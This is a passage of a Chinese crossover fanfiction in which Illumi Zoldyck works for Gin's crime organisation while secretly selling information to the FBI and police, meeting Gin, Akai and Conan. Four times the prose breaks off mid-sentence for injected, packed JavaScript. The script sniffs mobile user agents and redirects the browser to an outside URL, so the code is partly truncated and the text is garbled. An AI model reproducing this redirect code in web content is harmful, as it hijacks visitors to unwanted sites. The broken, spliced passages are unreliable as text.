“基安蒂上个月的任务完成率只有六成。”Gin说,“科恩好一点,七成。卡尔瓦多斯连续两个季度没有完成核心指标。” “所以?” “所以你需要承担更多。” 伊尔迷点头,表示理解。在揍敌客也是这样——谁能力强,谁就多干活。只不过在揍敌客,能力强的人多干活的同时也多拿钱,大家都没什么怨言。 “那卡尔瓦多斯的奖金是不是扣光了?”他问。 Gin看了他一眼:“你对别人的奖金很感兴趣?” “好奇。” Gin沉默了两秒:“全额扣除。” 伊尔迷在心里默默给Gin的管理方式加了一分。 正事谈完了。 伊尔迷喝完最后一口咖啡,站起来准备走。 “等一下。”Gin忽然说。 伊尔迷回头。 Gin从茶几下面的抽屉里拿出一个纸袋,放在桌上。 “给你的。” 伊尔迷看了一眼纸袋。包装很普通,看不出里面是什么。 “什么东西?” “年终礼品。” 伊尔迷愣了一下。 年终礼品? 他在揍敌客干了二十多年,从来没收到过年终礼品。席巴觉得“揍敌客家的人不需要礼物”,基裘觉得“能活着就是最大的礼物”。唯一一次收到礼物,是奇犽五岁那年送了他一个自己捏的泥人,捏得歪歪扭扭的,伊尔迷收下了,放在卧室的抽屉里。 他接过纸袋,打开看了一眼。 里面是一条围巾。深灰色,羊毛的,手感很好。 “谢谢。”他说。 Gin嗯了一声,低头继续翻文件。 伊尔迷把纸袋拎好,走到门口。拉开门的时候,他忽然想起一件事。 “对了。” Gin抬起头。 “你之前说,要查内鬼。”伊尔迷说,“查得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387949|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么样了?” Gin看着他,眼神平静。 “你怎么知道我在查内鬼?” 伊尔迷沉默了一秒。 这个问题的答案有很多种——听说的、猜的、组织里大家都在传。但他选了最直接的那一个。 “有人告诉我的。” Gin盯着他看了三秒。 “谁告诉你的?” “不能说。” Gin的手指在沙发扶手上轻轻敲了两下。那个节奏很均匀,不快不慢。 “为什么?” “因为说了会影响我的收入。” Gin的手指停住了。 客厅里安静了大概五秒。 然后Gin做了一件伊尔迷没想到的事——他笑了。 不是那种开怀大笑,而是嘴角微微上扬,幅度很小,笑得很淡。但确实是笑了。 “有意思。”他说,“你这个人,很有意思。” 伊尔迷不太理解这句话。 他觉得自己挺正常的。 “查内鬼的事,”Gin收起笑容,语气恢复平时的冷淡,“你不用担心。” “我没担心。” “那你问什么?” “好奇。” Gin看了他一眼,没有再追问。 “回去准备一下,下周三有任务。资料晚点发你。” 伊尔迷点头,推门离开。 走出公寓楼的时候,夜风吹过来,有点冷。 他低头看了一眼手里的纸袋。 围巾。 他想了想,把围巾拿出来围在脖子上。 很暖和。 他掏出手机,给佐藤发了一条消息:Gin送我一条围巾。 佐藤秒回:????????? 佐藤:他为什么送你围巾??? 伊尔迷:年终礼品。 佐藤:???组织还发年终礼品??? 佐藤:等等,你刚才在Gin的安全屋??? 伊尔迷:嗯。 佐藤:Gin的安全屋???他让你进他的安全屋了??? 佐藤:你知道这意味着什么吗??? 伊尔迷想了想。 意味着什么? 意味着他以后可能要接更多任务? 他回了一个:意味着明年任务量要翻三倍。 佐藤发了一长串省略号。 伊尔迷把手机收起来,裹了裹围巾,走进夜色里。 身后,公寓楼的某个窗户里,Gin站在窗前,看着那个黑色的身影渐行渐远。 他端起已经凉了的咖啡,喝了一口。 “有意思。”他低声说。 5. 第 5 章 伊尔迷发现自己需要更多的信息。 不是任务情报,是市场情报。 他以前在揍敌客的时候,从来不需要考虑这些问题。揍敌客是垄断企业,任务情报也会由管家或者糜稽提前整理好给他。 奇犽最爱的饮品是巧克力奶昔,这是他前二十年间,唯一花了点心思获得的情报。 “所以你是说,”伊尔迷坐在咖啡厅里,看着对面的赤井秀一,“FBI的预算来源是美国国会?” “大致可以这么理解。”赤井端起咖啡,语气平淡得像在讨论天气。 “那预算会砍吗?” 赤井的动作顿了一下。 “会。” 伊尔迷在笔记本上记了一笔。 赤井看了一眼那个笔记本。封面上写着“市场调研”四个字,下面是日期和天气。 “你在做什么?”他问。 “市场调研。”伊尔迷说,“我需要了解各方的财务状况,以便做出最优的职业选择。” 赤井沉默了两秒。 “……你把它当工作?” “本来就是工作。” 赤井放下咖啡杯,靠在椅背上。他看着伊尔迷的眼神有点复杂——不是审视,也不是好奇,更像是一种“我见过很多人但你这个类型确实是头一回见”的无奈。 “你就不怕被Gin发现?” 伊尔迷抬起头。 “发现什么?” “你在同时帮FBI和警视厅做事。” “他为什么要发现?” 赤井愣了一下。 伊尔迷的表情很平静,语气也很平静,就好像在说一件理所当然的事。那种平静不是伪装出来的镇定,而是发自内心的不在意——就像一个人不会担心自己走路会被空气绊倒一样。 “我的情报都是筛选过的。”伊尔迷说,“核心信息一条没漏。就算有人泄露,也查不到我头上。” “如果Gin亲自查呢?” 伊尔迷想了想。 “那他需要证据。” “如果他有证据呢?” 伊尔迷看了赤井一眼。那个眼神很淡,淡到几乎看不出任何情绪。但赤井在FBI干了这么多年,见过不少危险人物——杀手、恐怖分子、□□老大——他知道那种眼神意味着什么。 那是一种“那就让他有证据”的眼神。 不是威胁,不是警告,只是一个陈述。 就像在说“如果下雨了我就带伞”。 赤井忽然明白了一件事。 眼前这个人,从头到尾都没有把Gin的威胁当回事。 不是因为他不知道Gin有多危险,而是因为—— 他自己更危险。 “你这个人,”赤井说,“真的很特别。” “嗯。”伊尔迷低下头,继续在笔记本上写字。 赤井看着他写的东西——“FBI预算不稳定,风险中等,收入高”。 “你写风险中等?”赤井挑眉。 “嗯。你们的预算会被国会砍,组织不会。所以组织更稳定。” 赤井张了张嘴,想说什么,但又咽了回去。 因为这话好像……也没什么毛病。 “那警视厅呢?”他问。 伊尔迷翻到前面一页。 “警视厅预算稳定但基数低,风险低,收入也低。” “所以你的结论是?” 伊尔迷合上笔记本。 “全都要。” 赤井看着他,忽然笑了。 “你知道吗,你这种话在FBI是要被写进报告的。” “什么报告?” “风险评估报告。标题大概是‘论双面间谍的职业操守’。” 伊尔迷想了想。 “那你会写吗?” “不会。” “为什么?” 赤井站起来,把咖啡钱放在桌上。 “因为我觉得你很有趣。” 他转身走了。 伊尔迷坐在原位,盯着那杯已经凉了的咖啡,思考了一秒钟。 有趣? 这个评价他今天听到两次了。 Gin说了一次,赤井说了一次。 他不觉得自己哪里有趣。 他只是一个普通的打工人,在努力让收入最大化而已。 他把笔记本收起来,站起来准备走。 走到门口的时候,他忽然停下来。 咖啡厅的玻璃门上,映出他的倒影。 乌黑的长发,幽深的猫眼,苍白的皮肤。 和猎人世界一模一样。 他盯着那个倒影看了一会儿。 然后他想起一件事。 原主的记忆里,没有关于这张脸的任何信息。没有被人夸过好看,没有被人盯着看过,没有因为长相引起过任何注意。 但伊尔迷穿越过来的第一天,所有人都在看他。 这意味着什么? 意味着原主可能不长这样。 原主可能是一个长相普通的人,而他穿越过来之后,长相变成了揍敌客的样子。 但病历上的照片呢?他低头翻了翻原主的手机,找到证件照。 模糊。很模糊。证件照本来就是糊的,什么都看不清楚。 他翻了翻原主的社交账号,只有几张风景照,没有人像。 伊尔迷把手机收起来。 有意思。 这个世界有一个叫黑泽空的人,有他的脸,有他的身高,有他的—— 等等。 他低头看了看自己的手。 这双手他太熟悉了。修长,苍白,指节分明。在猎人世界,这双手杀过很多人。 他翻转手掌,看了一眼掌心。 没有茧。 在猎人世界,他的手上有薄薄的茧——那是长年累月握刀、握针、握苦无留下的痕迹。但现在的掌心光滑得像是从来没有握过任何武器。 伊尔迷盯着掌心看了一会儿。 然后他笑了。 很淡,几乎看不出来。 所以是这样。 他的灵魂来了,他的脸也来了,但他的身体不是他的身体。这具身体的手上没有茧,没有旧伤疤,没有任何杀手生涯留下的痕迹。 但念能力还在。 也就是说,他带来的不是□□,而是—— 算了,太复杂了,不想了。 他走出咖啡厅,迎面撞上一个人。 “哎呀。” 那个人后退了一步,抬头看他。 是个小孩子。戴着一副黑框眼镜,穿着蓝色小西装,领口别着一个蝴蝶结。 “对不起。”伊尔迷说。 “没关系没关系。”小孩摆摆手,然后抬头看了他一眼。 那个眼神让伊尔迷停住了。 不是小孩子该有的眼神。太锐利,太警惕,像是扫描仪一样在他脸上快速扫过。 “大哥哥,”小孩仰起头,声音软糯糯的,“你长得好好看哦。” 伊尔迷低头看他。 “谢谢。” “你是演员吗?” “不是。” “模特?” “不是。” “那你是做什么的呀?” 伊尔迷想了想。 “自由职业。” 小孩眨了眨眼,镜片后面的目光闪了闪。 “自由职业好酷哦!是什么方向的自由职业呀?” 伊尔迷看着那张天真无邪的脸,沉默了两秒。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387950|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “咨询。” “咨询?”小孩歪了歪头,“什么类型的咨询?” “商业咨询。”伊尔迷说,“主要是帮客户做市场调研和竞品分析。” 小孩的表情僵了一瞬。那个僵硬的幅度很小,普通成年人都不一定看得出来,但伊尔迷看得很清楚。 “那、那好厉害哦!”小孩的笑容重新挂上来,“大哥哥再见!” 他转身跑开了。 跑了几步,又回头看了一眼。 伊尔迷站在原地,看着那个小小的身影消失在街角。 他掏出手机,给工藤优作发了一条消息:你儿子今天穿蓝色西装。 工藤优作秒回:你见到新一了??? 工藤优作:他有没有说什么? 伊尔迷:他说我长得好看。 工藤优作:…然后呢? 伊尔迷:然后我说我是做商业咨询的。 工藤优作发了一长串省略号。 工藤优作:他信了吗? 伊尔迷:不太像。 工藤优作:…你能别逗他吗? 伊尔迷想了想,回了一个:我没逗他。我说的都是实话。 工藤优作没有再回复。 伊尔迷把手机收起来,继续往公寓走。 走到楼下的时候,他忽然停下来。 刚才那个小孩,工藤新一,或者说江户川柯南——他的眼神和赤井秀一很像。 锐利,警惕,带着一种“我在观察你”的距离感。 一个小孩,为什么会有这种眼神? 伊尔迷想了想,没想通。 算了。 反正不影响他拿钱。 他推开公寓大门,走进电梯。 电梯里的镜子映出他的脸。 他对着镜子歪了歪头。 镜子里的他也歪了歪头。 还是那张脸。 和猎人世界一模一样。 他忽然想到一个问题。 如果他的脸和猎人世界一模一样,那他的念能力也是从猎人世界带来的。那是不是意味着,他和猎人世界之间的联系,比他自己以为的要深? 那个世界和这个世界之间,是不是存在某种通道?难道我还可以回去吗。 他盯着镜子里的自己,心里慢慢明朗了些。 电梯到了。 门开了。 他走出电梯,掏出钥匙开门。 门开了。 他走进公寓,换了拖鞋,把围巾挂在衣架上,坐到茶几前,拿起一只没叠完的小兔子。他最近太过频繁做这件事情,或许是因为这是他现阶段唯一的消遣,在这个没有西索的世界。 他终于耳根清净,但是代价是也失去了休闲时间的乐趣。。 算了。伊尔迷捏着折纸的指尖微微用力。 想不通就不想了。 来都来了。 先把钱赚了再说。 至于真相。 总有一天会知道的。 他叠完小兔子的耳朵,把它扔进玻璃罐里。 罐子已经满了。 他看了一眼时间——晚上八点。 到了晚饭时间。 他打开外卖APP,选了一份咖喱饭,备注要甜一些。 就在下单的时候,伊尔迷忽然想起一件事。 今天在市场调研的时候,他忘了问赤井一个问题。 FBI有没有年终奖? 他拿起手机,给赤井发了一条消息:问一下,FBI有没有年终奖? 赤井秀一过了很久才回复。 赤井秀一:你是不是只关心钱? 伊尔迷:不是。 伊尔迷:我还关心年终礼品。 赤井秀一没有再回复。 6. 第 6 章 伊尔迷万万没想到,组织也有团建。 消息是Gin发来的。 “周五晚上,基地集合。全员参加。” 伊尔迷看着这条消息,思考了一秒钟。 全员参加。 他加入组织快三个月了,认识的人屈指可数——Gin、伏特加、基安蒂、科恩,还有偶尔发消息的贝尔摩德。其他的成员,他连名字都叫不上来。 现在要全员参加一个活动。 他回了一个“好”。 周五晚上七点,伊尔迷准时到达基地。 基地是地下停车场改造的,空间很大,停着十几辆黑色保时捷。灯光昏暗,空气中弥漫着淡淡的机油味。已经有不少人到了,三三两两地站着聊天。 伊尔迷走进来的时候,所有人的目光都看了过来。 他不太理解这种关注。 他低头看了看自己——黑色外套,黑色长裤,黑色皮鞋。和周围所有人穿的一样。 他又看了看周围人的脸——普通。很普通。普通到放在人群里根本找不出来。 他又看了看玻璃窗里自己的倒影。 哦。 可能是因为这个。 他收回视线,找了个角落站好。 基安蒂第一个走过来。她穿着一身黑色紧身衣,扎着马尾,手里端着一杯不知道从哪里弄来的红酒。 “你就是Rum?”她上下打量了他一眼,“比传说中好看多了。” “谢谢。” “听说你任务完成率百分之百?” “嗯。” 基安蒂挑挑眉:“厉害。我今年才六成。” 伊尔迷想了想,不知道该怎么接这句话。在揍敌客,如果有人说自己任务完成率只有六成,那说明他离被开除不远了。但在这里,基安蒂说这话的时候语气很轻松,好像六成也不是什么大问题。 “Gin没扣你奖金?”他问。 基安蒂的表情僵了一下。 “……扣了。” “全额?” “一半。” 伊尔迷点点头。 那还行。Gin的管理方式还是挺人性化的。 科恩也走过来,递给他一杯酒。伊尔迷接过来,没喝。 “你就是Rum?”科恩说,“听基安蒂提起过你。” “他说我什么?”伊尔迷问。 “说你话少。” 伊尔迷沉默了两秒。 “她说的对。” 科恩愣了一下,然后笑了。 “你这个人挺有意思的。” 伊尔迷今天第三次听到这个评价。 他不觉得自己哪里有意思。 他只是不太想说话而已。 伏特加从人群里挤过来,手里端着一盘寿司。 “嘿,Rum!你来了!吃寿司吗?” 伊尔迷低头看了一眼那盘寿司。 三文鱼的,看起来挺新鲜。 他拿了一个。 “谢谢。” 伏特加显然没想到他会拿,愣了一下,然后笑得特别灿烂。 “不客气不客气!我跟你说,这家寿司店特别好吃,我排了半小时队才买到的——” “伏特加。”Gin的声音从身后传来。 伏特加立刻闭嘴,端着寿司盘子溜了。 Gin走过来,站在伊尔迷旁边。他还是那副打扮——黑色风衣,长发,帽檐压得很低。和基地里其他人相比,他的气场明显不一样,像是狼群里混进了一只更大的狼。 “还习惯吗?”Gin问。 伊尔迷想了想。 “还行。” “基安蒂跟你说了什么?” “她说我好看。” Gin的表情没有变化。 “还有呢?” “她说我任务完成率百分之百。” “嗯。” “然后我问她Gin有没有扣她奖金。” Gin沉默了一秒。 “你怎么问的?” “直接问的。” Gin看了他一眼。 那个眼神有点复杂。伊尔迷不太确定那是什么意思——可能是无语,也可能是觉得他太直接了。 “以后别问这种问题。”Gin说。 “为什么?” “因为不礼貌。” 伊尔迷想了想。 “那我应该问什么?” Gin沉默了两秒。 “什么都别问。” “哦。” 团建活动正式开始。 所谓的团建,就是所有人围成一圈,Gin站在中间讲话。讲的内容无非是今年的总结和明年的规划——哪些任务完成得好,哪些任务出了纰漏,哪些人需要反思,哪些人值得表扬。 伊尔迷站在角落里,听了一会儿。 Gin的讲话风格和他的人一样——简洁,直接,不废话。表扬的时候只有一句“做得不错”,批评的时候也只有一句“需要改进”。没有长篇大论,没有激情澎湃,每一句话都像一颗子弹,精准地打在点上。 伊尔迷在心里给Gin的演讲水平打了个分。 七分。扣三分是因为太短了。 揍敌客家族开会的时候,席巴能讲一个小时。从家族荣誉讲到个人修养,从任务规范讲到行为准则,最后还要加上一句“谁要是敢给揍敌客家丢脸,我就让他知道什么叫后悔”。 相比之下,Gin只讲了十分钟。 讲完之后,Gin说了一句“散会”。 然后人群就散了。 伊尔迷站在原地,看着周围的人在五分钟之内走得干干净净。 基地里只剩下他和Gin。 “不走?”Gin问。 “走。”伊尔迷说。 他转身往出口走。 走到一半,他忽然停下来。 “Gin。” “嗯?” “今天的团建,有意义吗?” Gin看着他。 “你觉得呢?” 伊尔迷想了想。 “如果目的是让大家认识我,那有意义。如果目的是增强团队凝聚力,那没什么意义。” Gin沉默了三秒。 “为什么?” “因为大家走得很快。” Gin看着他,嘴角似乎又动了一下。 “你说得对。”他说,“下次不办了。” 伊尔迷点点头,继续往出口走。 走到门口的时候,他忽然回头。 “对了,今天的寿司不错。是谁买的?” Gin看了他一眼。 “伏特加。” “替我谢谢他。” Gin没有说话。 伊尔迷推门离开。 身后的地下停车场里,Gin站在原地,看着那个黑色的身影消失在门外。 他掏出手机,给伏特加发了一条消息。 “下次团建多买点寿司。” 伏特加秒回:团建?还有下次?? Gin没有回复。 他把手机收起来,走向自己的保时捷。 走了两步,他忽然停下来。 基安蒂刚才说“比传说中好看多了”。 他回想了一下自己第一次见到伊尔迷时的情景。 那时候没注意。 现在想想—— 确实挺好看的。 Gin弯弯嘴角,笑意却未达眼底,眼神似乎在思索什么。没多久,他拉开车门,坐进去,发动引擎。 黑色保时捷驶出停车场,汇入夜色之中。 与此同时,伊尔迷回到公寓,换了拖鞋,坐到茶几前。 他看了一眼玻璃罐里的千纸鹤和小动物。 罐子已经满了。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387951|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要买一个新的玻璃罐。 不过这个活动已经让他觉得有点腻了,这个世界还会有什么有趣的活动吗,他需要去发掘看看。 思索间,伊尔迷打开手机,在购物APP上搜索“玻璃罐大号”。 搜索结果出来的时候,他忽然想起一件事。 今天在团建上,他注意到一个细节。 组织里的一些成员,长相都很普通。普通到放在人群里根本找不出来。而他自己—— 他放下手机,走到玄关的镜子前。 还是那张脸。 和猎人世界一模一样。 在这个世界里,他的脸是唯一的。 原主的记忆里,没有任何关于这张脸的记录。没有人夸过原主好看,没有人盯着原主看过,没有人因为原主的长相而多看他一眼。 但伊尔迷来了之后,一切都变了。 这意味着什么? 意味着这张脸,只属于伊尔迷·揍敌客。 不属于黑泽空。 伊尔迷盯着镜子里的自己,慢慢地眨了眨眼。 这个世界有一个叫黑泽空的人,他的身体里住着伊尔迷·揍敌客的灵魂。他的脸不是黑泽空的脸,而是伊尔迷·揍敌客的脸。 那黑泽空本人呢? 他去了哪里? 是不是也穿越到了猎人世界,住进了伊尔迷·揍敌客的身体里? 伊尔迷想了想那个画面:一个普通的、没有经过任何揍敌客杀人训练的日本青年,突然出现在揍敌客家的豪宅里,面对着席巴、基裘、糜稽、柯特,还有那个最让他头疼的小奇犽。 他歪了歪头。 那个画面,好像还挺有趣的。 他走回茶几前,继续翻购物APP。 找到了。一个两升的玻璃罐,带盖子的,评论说“容量大,质量好,用来装千纸鹤很合适”。 他下了单。 然后他放下手机,拿起一只还没叠完的小猫咪,继续用念线编织。他还坚持着用此练习念力的习惯。自从意识到自己有机会回去后,伊尔迷没有放弃修行念的想法,更何况他的念还能够帮助他在这个世界更好地完成任务。 窗外的夜色渐深。 公寓里安静得只剩下针尖穿过空气的细微声响。 他忽然想起今天Gin说的一句话。 “下次不办了。” 他想了想,觉得Gin这个人其实挺好的。 话少,不乱发指令,按绩效发钱,年终奖大方,还有年终礼品。 更重要的是,Gin还会听取员工的意见,不乱在员工个人时间搞团建,开会议。 如果Gin不是犯罪组织的核心成员,应该会是一个不错的老板。 但话又说回来,如果Gin不是犯罪组织的核心成员,他也不会给这么多钱。 伊尔迷叠完小猫咪的尾巴,有些索然地把它放进新买的玻璃罐里。 然后他拿起手机,看了一眼银行余额。 Gin发的年终奖还在。 警视厅发的线人费也到了。 FBI的情报费也到了。 他终于满意地点点头,无聊感被驱散了不少。 三份收入,三倍快乐。 至于立场? 那不是他需要考虑的问题。 他叠好最后一只小猫咪,关灯睡觉。 黑暗中,他忽然想起一个问题。 如果有一天,红方和黑方同时给他发指令,让他做相反的事—— 他翻了个身。 那就看谁给得多。 谁给得多就听谁的。 这不是很简单吗? 他闭上眼睛,很快睡着了。 窗外,月亮从云层后面露出来,银白色的月光洒进房间,落在那三个玻璃罐上。 罐子里的千纸鹤和小动物,在月光下微微发光,并透出淡淡念力的气息。 像是活的。 7. 第 7 章 Gin开始查内鬼了。 消息是伏特加传出来的——准确地说,是伏特加在组织内部通讯软件上发了一条全员消息:“下周起,所有人提交本月行动报告,格式见附件。” 附件是一份长达十页的Excel表格。 伊尔迷打开那份表格,从上到下扫了一遍。 姓名、代号、任务编号、任务时间、任务地点、目标信息、行动路线、使用武器、现场人员、目击者情况、善后处理、备注。 每一栏都要填。 伊尔迷盯着屏幕看了五秒。 在揍敌客,任务报告从来不超过三行:目标、方法、结果。席巴说,写太多字的杀手不是好杀手。 他关掉表格,给Gin发了一条消息:报告能不能简写? Gin秒回:不能。 伊尔迷:为什么? Gin:因为我在查内鬼。 伊尔迷看着这条消息,眨了眨眼。 Gin查内鬼这件事,他是知道的。赤井上周就提醒过他,昨天Gin又在安全屋里提了一次。但Gin这么直接地告诉他“我在查内鬼”,还是有点意外。 他想了想,回了一条:那我的报告能不能晚两天交? Gin:为什么? 伊尔迷心想:因为我在想怎么写才能不暴露自己。 但他不可能就这样发出去。 思索了会后,伊尔迷一字一句道:我比较忙,要杀的人比较多。 对面沉默了很久。 很久。 久到伊尔迷以为Gin已经拔枪去找他了。 然后Gin回了一条:你倒是挺直白。 伊尔迷想了想,回了一个“嗯”。 Gin:晚两天可以。别太过分。 伊尔迷:好。 Gin:还有,以后要杀人这种话别在通讯软件上说。 伊尔迷:为什么? Gin:因为通讯软件会被监控。 伊尔迷看着这条消息,沉默了一秒。 那你还在这条消息里说通讯软件会被监控? 他把这句话打出来,又删掉了。 算了,不挑衅老板了。 他放下手机,出门买小蛋糕。 最近他发现了一家新的甜品店,在杯户町,招牌是双层芝士蛋糕。他昨天试了一次,口感绵密,甜度刚好,比之前那家咖啡厅的草莓味更合他的口味。 走到半路,手机又响了。 是佐藤的消息:你最近小心点,听说组织在查内鬼。 伊尔迷:我知道。 佐藤:你知道?!你怎么知道的? 伊尔迷:Gin告诉我的。 佐藤:??? 佐藤:他告诉你他在查内鬼? 伊尔迷:嗯。 佐藤:他怎么说的? 伊尔迷:他说“因为我在查内鬼”。 佐藤发了一长串省略号。 佐藤:你就不怕他怀疑你? 伊尔迷想了想,回了一句:他不会。 佐藤:你怎么这么确定? 伊尔迷:因为我交的报告都是真的。 这是实话。他交出去的每一份报告都是真实的,只是不完整。就像一个人告诉你“我今天吃了早饭”,这是真的,但他没说他吃了什么、在哪吃的、跟谁一起吃的。 真话不等于全部真相。 这个道理,他在揍敌客的时候就懂了。在认识西索后,理解更甚。这方面,西索算是他的师父。 他收起手机,走进甜品店。 “欢迎光临!”店员是一个年轻的女生,看见他进来,笑眼弯弯,看起来很有元气:“请问需要什么?” “双层芝士蛋糕,两块。” “好的!今天还有新品,草莓慕斯,要不要试一下?” 伊尔迷只犹豫了一秒。 “来一块。” “好嘞!” “还有巧克力巴斯克,也是刚出炉的,很美味哦。” “那也打包一份。”不差钱。 于是乎,原本只打算买两块蛋糕的伊尔迷,在店员妹妹的成功销售下,最终提着四块蛋糕走出店门,一边走一边拆开草莓慕斯的包装,咬了一口。 绵密。酸甜。奶油很轻。 不错。 他决定以后常来这家店。 走到米花町中心的时候,他看见一群人围在路边。 一个穿制服的警察正在拉警戒线,周围站着几个围观的路人。警戒线里面,一个中年男人躺在地上,脸上盖着白布。 伊尔迷咬了一口蛋糕,站在人群外围看了一眼。 死者的姿势有点奇怪——双手放在胸前,手指交叉,像是在祈祷。 他想了想,觉得这件事跟自己没什么关系,继续往公寓走。 走了两步,一个稚嫩的声音从身后传来。 “让一下!请让一下!” 一个小男孩从人群里挤进来,戴着一副黑框眼镜,穿着蓝色小西装。伊尔迷很快认出他,工藤新一,或者说,江户川柯南。 柯南挤到警戒线前面,踮起脚尖往里面看。 “小朋友,这里不能进。”警察拦住他。 “我就看一眼!”柯南说着,目光已经快速扫过现场。 他看了一会儿,忽然转头,目光穿过人群,和伊尔迷对上了。 两个人的视线在空中相遇。 伊尔迷咬了一口蛋糕。 柯南挤过人群,走到他面前。 “大哥哥,又见面了!” “嗯。” “你来买蛋糕吗?”他看了一眼伊尔迷手里的袋子。 “嗯。” “好吃吗?” “好吃。” 柯南笑了笑,那个笑容天真无邪。但伊尔迷注意到,他的眼睛一直在观察周围的环境:路边的监控、警察的位置、围观群众的反应。 “大哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387952|200284||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥,”柯南忽然压低声音,“你觉得那个人是怎么死的?” 伊尔迷看了一眼地上的尸体。 “不知道。” “你不好奇吗?” “不好奇。” 柯南愣了一下。 “为什么?” “因为跟我没关系。” 柯南盯着他看了两秒,似乎在判断这句话是真是假。 “那如果跟你有关呢?”他问。 伊尔迷看了他一眼。 “那他就不会躺在地上了。” 柯南的笑容僵了一瞬。 那一瞬间很短,短到普通人根本注意不到。但伊尔迷看到了——小孩的眼睛里闪过一丝锐利的光。 然后那道光消失了,柯南又变回了那个天真无邪的小学生。 “大哥哥真会开玩笑!”他笑着说,“那我先走啦,我还要去上学呢!” 他转身跑开了。 跑了几步,又回头看了一眼。 伊尔迷站在原地,把最后一口蛋糕吃完,把包装纸扔进路边的垃圾桶。 他掏出手机,给工藤优作发了一条消息:你儿子在米花町查案。 工藤优作秒回:他又逃课了? 伊尔迷:看起来是的。 工藤优作:…他查的是什么案? 伊尔迷:路边死了一个人,姿势很奇怪。 工藤优作:什么姿势? 伊尔迷:双手交叉放在胸前,像是在祈祷。 工藤优作沉默了一会儿。 工藤优作:这个案子我听说过,最近米花町已经发生三起了。警方怀疑是连环杀人案。 伊尔迷:第四起了。 工藤优作:你怎么知道是第四起? 伊尔迷:因为我刚才路过的时候数了一下。 工藤优作:…你路过命案现场还能数数? 伊尔迷没有回复。 他把手机收起来,继续往公寓走。 回到公寓,他换了拖鞋,把蛋糕放进冰箱,坐到沙发上。 手机响了。 是Gin的消息:明天有新任务,下午三点,地点发你。注意安全。 伊尔迷看着最后那四个字,愣了一下。 注意安全? Gin以前从来不写这种话。 一定是这次的任务对于这个世界的人来说很困难。 不错,听起来不会很无聊。 他想了想,回了一个“好”。 然后他打开冰箱,拿出那块双层芝士蛋糕,切了一小块,慢慢吃。 芝士的味道很浓,底层的饼干碎很脆。 他想起在揍敌客的时候,家里很少吃甜食。基裘觉得甜食会影响身材,席巴觉得甜食会让人反应变慢。只有奇犽会偷偷买巧克力球,藏在床底下,被他发现的时候一脸心虚,并说他管的太多。 伊尔迷又切了一块蛋糕。 这个世界的甜食,确实比揍敌客家好吃多了。 8. 第 8 章 下午三点,伊尔迷到达任务地点。 是杯户町的一栋写字楼,目标在三楼。他提前踩过点——大楼有两部电梯,一部楼梯,后门通向一条小巷。安保系统很基础,只有大堂有一个保安。 他正准备从楼梯上去,手机震了一下。 Gin:目标提前离开了。新地址发你。 伊尔迷看着这条消息,皱了一下眉。 临时变更地点。这在组织任务里不常见,说明目标可能得到了风声。 他打开新地址,看了一眼。 米花町二丁目。 他认识这个地方。工藤优作家就在那条街上。 伊尔迷把手机收起来,转身往米花町走。 二十分钟后,他到达米花町二丁目。 目标在一栋民宅里,据情报说是在和一个女人幽会。伊尔迷观察了一下周围的环境:街道安静,行人稀少,有几个放学回家的小学生。 其中一个戴着黑框眼镜,穿着蓝色小西装。 柯南。 伊尔迷的脚步顿了一下。 柯南正和几个小孩走在一起,有说有笑的。他们经过那栋民宅的时候,柯南的目光往窗户的方向瞟了一眼。 只瞟了一眼,然后继续往前走。 但伊尔迷注意到了。 那个小孩,在观察这栋房子。 他决定等一等。 他找了个隐蔽的位置,观察柯南的动向。那群小孩走过了民宅,在街角停下来,似乎在讨论要去哪里玩。柯南说了几句话,其他小孩点点头,往另一个方向走了。 柯南一个人留在原地。 他等那群小孩走远之后,转身往回走,直奔那栋民宅。 伊尔迷靠在墙边,看着柯南绕到房子后面,踮起脚尖往窗户里看。 这个小孩,果然在查案。 他想起昨天米花町的命案,又看了看这栋民宅。 两件事有关系吗? 他想了想,掏出手机给佐藤发了一条消息:米花町二丁目有没有什么案件? 佐藤秒回:你怎么又知道了??? 佐藤老是给他发许多问号,伊尔迷都已经习惯了。 佐藤:今天上午接到报案,说二丁目有住户失踪。怎么了? 